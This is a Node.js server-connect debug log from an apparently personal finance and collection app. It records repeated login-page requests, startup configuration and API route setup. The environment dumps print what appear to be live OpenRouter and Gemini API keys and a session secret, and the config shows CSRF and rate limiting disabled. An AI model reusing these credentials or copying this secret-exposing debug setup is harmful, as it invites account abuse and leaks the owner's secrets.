2026-06-05T02:05:15.143Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:05:15.147Z server-connect:output restrict: undefined
2026-06-05T02:05:15.249Z server-connect:router Serving templateView /login
2026-06-05T02:05:15.250Z server-connect:app Executing action step identify
2026-06-05T02:05:15.250Z server-connect:app options: { provider: 'security' }
2026-06-05T02:05:15.250Z server-connect:auth No login cookie found
2026-06-05T02:05:15.250Z server-connect:output identity: false
2026-06-05T02:05:15.250Z server-connect:router Render template layouts/authentication
2026-06-05T02:05:15.251Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.147',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T02:05:15.248Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.147',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.147',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T02:05:33.315Z server-connect:router Serving templateView /
2026-06-05T02:05:33.315Z server-connect:app Executing action step identify
2026-06-05T02:05:33.315Z server-connect:app options: { provider: 'security' }
2026-06-05T02:05:33.315Z server-connect:auth No login cookie found
2026-06-05T02:05:33.316Z server-connect:output identity: false
2026-06-05T02:05:33.316Z server-connect:app Executing action step restrict
2026-06-05T02:05:33.316Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:05:33.316Z server-connect:output restrict: undefined
2026-06-05T02:05:35.106Z server-connect:router Serving templateView /
2026-06-05T02:05:35.106Z server-connect:app Executing action step identify
2026-06-05T02:05:35.106Z server-connect:app options: { provider: 'security' }
2026-06-05T02:05:35.106Z server-connect:auth No login cookie found
2026-06-05T02:05:35.107Z server-connect:output identity: false
2026-06-05T02:05:35.107Z server-connect:app Executing action step restrict
2026-06-05T02:05:35.107Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:05:35.107Z server-connect:output restrict: undefined
2026-06-05T02:05:35.375Z server-connect:router Serving templateView /
2026-06-05T02:05:35.375Z server-connect:app Executing action step identify
2026-06-05T02:05:35.376Z server-connect:app options: { provider: 'security' }
2026-06-05T02:05:35.376Z server-connect:auth No login cookie found
2026-06-05T02:05:35.376Z server-connect:output identity: false
2026-06-05T02:05:35.376Z server-connect:app Executing action step restrict
2026-06-05T02:05:35.376Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:05:35.376Z server-connect:output restrict: undefined
2026-06-05T02:07:11.095Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:07:11.236Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:07:11.334Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:07:11.334Z server-connect:secure CSRF Protection initialized
2026-06-05T02:07:11.336Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:07:11.337Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:07:11.338Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:07:11.338Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:07:11.339Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:07:11.340Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:07:11.341Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:07:11.341Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:07:11.344Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:07:11.344Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:07:11.345Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:07:11.345Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:07:11.345Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:07:11.346Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:07:11.346Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:07:11.346Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:07:11.346Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:07:11.347Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:07:11.347Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:07:11.347Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:07:11.348Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:07:11.348Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:07:11.348Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:07:11.349Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:07:11.349Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:07:11.349Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:07:11.349Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:07:11.349Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:07:11.350Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:07:11.350Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:07:11.350Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:07:11.350Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:07:11.351Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:07:11.376Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:07:11.376Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:07:11.377Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:07:11.377Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:07:11.377Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:07:11.446Z server-connect:router Serving templateView /login
2026-06-05T02:07:11.450Z server-connect:app Executing action step identify
2026-06-05T02:07:11.451Z server-connect:app options: { provider: 'security' }
2026-06-05T02:07:11.452Z server-connect:auth No login cookie found
2026-06-05T02:07:11.453Z server-connect:output identity: false
2026-06-05T02:07:11.453Z server-connect:router Render template layouts/authentication
2026-06-05T02:07:11.453Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.80',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T02:07:11.443Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.80',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.80',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T02:07:11.917Z server-connect:router Serving templateView /login
2026-06-05T02:07:11.918Z server-connect:app Executing action step identify
2026-06-05T02:07:11.918Z server-connect:app options: { provider: 'security' }
2026-06-05T02:07:11.918Z server-connect:auth No login cookie found
2026-06-05T02:07:11.918Z server-connect:output identity: false
2026-06-05T02:07:11.918Z server-connect:router Render template layouts/authentication
2026-06-05T02:07:11.918Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.159',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T02:07:11.916Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.159',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.159',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T02:07:11.981Z server-connect:router Serving templateView /login
2026-06-05T02:07:11.981Z server-connect:app Executing action step identify
2026-06-05T02:07:11.981Z server-connect:app options: { provider: 'security' }
2026-06-05T02:07:11.982Z server-connect:auth No login cookie found
2026-06-05T02:07:11.982Z server-connect:output identity: false
2026-06-05T02:07:11.982Z server-connect:router Render template layouts/authentication
2026-06-05T02:07:11.982Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.229',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T02:07:11.980Z,
      originalMaxAge: 86399999,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.229',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.229',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T02:07:14.939Z server-connect:router Serving templateView /login
2026-06-05T02:07:14.939Z server-connect:app Executing action step identify
2026-06-05T02:07:14.939Z server-connect:app options: { provider: 'security' }
2026-06-05T02:07:14.939Z server-connect:auth No login cookie found
2026-06-05T02:07:14.939Z server-connect:output identity: false
2026-06-05T02:07:14.939Z server-connect:router Render template layouts/authentication
2026-06-05T02:07:14.940Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.44',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T02:07:14.938Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.44',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.44',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T02:08:23.989Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:08:24.142Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:08:24.225Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:08:24.226Z server-connect:secure CSRF Protection initialized
2026-06-05T02:08:24.227Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:08:24.229Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:08:24.229Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:08:24.230Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:08:24.230Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:08:24.231Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:08:24.232Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:08:24.232Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:08:24.235Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:08:24.235Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:08:24.236Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:08:24.236Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:08:24.236Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:08:24.237Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:08:24.237Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:08:24.237Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:08:24.237Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:08:24.238Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:08:24.238Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:08:24.238Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:08:24.239Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:08:24.239Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:08:24.239Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:08:24.240Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:08:24.240Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:08:24.240Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:08:24.240Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
